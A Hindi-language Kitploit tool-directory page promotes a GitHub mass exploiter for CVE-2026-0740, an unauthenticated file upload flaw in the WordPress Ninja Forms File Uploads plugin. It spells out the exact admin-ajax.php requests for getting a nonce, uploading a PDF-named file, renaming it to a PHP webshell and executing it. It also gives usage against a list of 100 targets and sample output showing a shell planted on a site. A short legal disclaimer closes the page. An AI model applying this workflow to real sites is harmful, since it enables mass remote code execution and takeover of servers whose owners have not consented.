Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-0740 — CVE-2026-0740 के लिए स्वचालित सामूहिक शोषक, जो Ninja Forms File Uploads प्लगइन में एक अनधिकृत मनमाना फ़ाइल अपलोड है, जो तैयार किए गए अपलोड के माध्यम से रिमोट कोड निष्पादन को सक्षम करता है। | Kitploit
उपकरण/GitHubGitHub/xshadow-here/cve-2026-0740
भेद्यता स्कैनरपेलोड जनरेशनशोषणवेब एप्लिकेशन शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंग
GitHubxshadow-here/cve-2026-0740

CVE-2026-0740

CVE-2026-0740 के लिए स्वचालित सामूहिक शोषक, जो Ninja Forms File Uploads प्लगइन में एक अनधिकृत मनमाना फ़ाइल अपलोड है, जो तैयार किए गए अपलोड के माध्यम से रिमोट कोड निष्पादन को सक्षम करता है।

रिपॉजिटरी देखें
34 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-0740 : Ninja Forms - File Upload <= 3.3.26 बिना प्रमाणीकरण के मनमाना फ़ाइल अपलोड।

विवरण :

WordPress के लिए Ninja Forms - File Uploads प्लगइन बिना प्रमाणीकरण के मनमाना फ़ाइल अपलोड के प्रति संवेदनशील है, क्योंकि 'NF_FU_AJAX_Controllers_Uploads::handle_upload' फ़ंक्शन में फ़ाइल प्रकार सत्यापन और क्षमता जाँच की कमी है, जो 3.3.26 तक के सभी संस्करणों में मौजूद है।

यह दोष बिना प्रमाणीकरण के हमलावरों को अनुमति देता है:

  • किसी भी field_id के लिए मान्य nonce उत्पन्न करना।
  • whitelist बाईपास तकनीक का उपयोग करके मनमानी फ़ाइलें अपलोड करना।
  • whitelisted एक्सटेंशन (.pdf) से PHP एक्सटेंशन में सर्वर-साइड नाम बदलने को बाध्य करना।
  • अपलोड की गई webshell निम्न स्थान पर संग्रहीत होगी: → /wp-content/uploads/ninja-forms/tmp/
  • प्रभावित सर्वर पर रिमोट कोड निष्पादन (RCE) प्राप्त करना।

जानकारी : CVE-2026-0740

~ CVSS स्कोर: 9.8 (क्रिटिकल)

~ प्रभावित संस्करण: <= 3.3.26

  • शोधकर्ता :
Sélim Lanouar-(whattheslime)

हमले का तरीका

root@kitploit:~
चरण 1: Nonce प्राप्त करें 
────────────────────────────────────
POST /wp-admin/admin-ajax.php
डेटा: action=nf_fu_get_new_nonce&field_id=7&form_id=7

प्रतिक्रिया: {"success":true,"data":{"nonce":"7a850757a1"}}

              │
              ▼

चरण 2: छिपी हुई फ़ाइल अपलोड करें + PHP में नाम बदलें
──────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
डेटा:
- action=nf_fu_upload
- nonce=7a850757a1
- field_id=7
- form_id=7
- [email protected] (whitelisted एक्सटेंशन)
- doc_pdf=shadow.php (नाम बदलने का लक्ष्य)

              │
              ▼

चरण 3: सर्वर दुर्भावनापूर्ण फ़ाइल संग्रहीत करता है
─────────────────────────────────────
स्थान: /wp-content/uploads/ninja-forms/tmp/shadow.php
सामग्री: PHP शेल (अपलोडर / webshell)

              │
              ▼

चरण 4: अपलोड की गई फ़ाइल निष्पादित करें
────────────────────────────────────
GET /wp-content/uploads/ninja-forms/tmp/shadow.php
→ webshell निष्पादित करें
→ पूर्ण सर्वर अधिग्रहण
root@kitploit:~
- क्षेत्र प्रयोगों से निष्कर्ष:

1. `nf_fu_get_new_nonce` एंडपॉइंट फ़ील्ड की उपस्थिति की जाँच किए बिना मान्य nonce लौटाता है
   → `field_id` और `form_id` पैरामीटर का कोई सत्यापन नहीं (कोई भी यादृच्छिक ID काम करती है)

2. नाम बदलने की कार्यक्षमता में महत्वपूर्ण तार्किक दोष
   → प्लगइन POST पैरामीटर के माध्यम से उपयोगकर्ता द्वारा प्रदान किया गया फ़ाइल नाम स्वीकार करता है
   → नाम बदलने के बाद अंतिम फ़ाइल एक्सटेंशन पर कोई सत्यापन नहीं

3. अपलोड की गई फ़ाइल सीधे वेब-सुलभ निर्देशिका में जाती है
   → /wp-content/uploads/ninja-forms/tmp/

4. इस टूल का स्वामी बहुत सुंदर है

विशेषताएँ :

  • स्वचालित रूप से nonce प्राप्त करें
  • डिफ़ॉल्ट ID के साथ शोषण
  • त्रुटि प्रबंधन
  • परिणामों को shell.txt में स्वतः सहेजें

उपयोग :

  • सुनिश्चित करें कि फ़ाइल का नाम list.txt है और वह निर्देशिका में है
  • python/python3 shadow.py

आउटपुट :

root@kitploit:~
˚⊱🪷⊰˚ NINJA FORMS MASS EXPLOITER ˚⊱🪷⊰˚
 ╰┈➤ पूर्ण प्रतिक्रिया प्रदर्शन

[+] 100 लक्ष्य लोड किए गए

[1/100]
😈 [FRISKA RESEARCHER] हमला: https://example.com
[*] nonce प्राप्त किया जा रहा है...
[*] HTTP स्थिति: 400
[*] प्रतिक्रिया: 0
[-] HTTP त्रुटि: 400

[2/100]
😈 [FRISKA RESEARCHER] हमला: https://www.test.com
[*] nonce प्राप्त किया जा रहा है...
[*] HTTP स्थिति: 200
[*] प्रतिक्रिया: {"success":true,"data":{"nonce":"b0404ec210","nonce_expiry":1775648146}}
[+] Nonce: b0404ec210
[*] शेल अपलोड किया जा रहा है...
[*] अपलोड प्रतिक्रिया: {"data":{"files":[{"name":"doc.pdf","full_path":"doc.pdf","type":"application\/pdf","tmp_name":"shadow.php","error":0,"size":246,"new_tmp_key":"doc_pdf"}]},"errors":[],"debug":[]}

============================================================
🔥 शेल अपलोडर: https://www.test.com/wp-content/uploads/ninja-forms/tmp/shadow.php
============================================================

यह टूल केवल शैक्षिक और सुरक्षा परीक्षण उद्देश्यों के लिए है।

उन प्रणालियों का अनधिकृत उपयोग जिनके स्वामी आप नहीं हैं या जिनके परीक्षण की अनुमति आपके पास नहीं है, अवैध है।

टूल डाउनलोड करें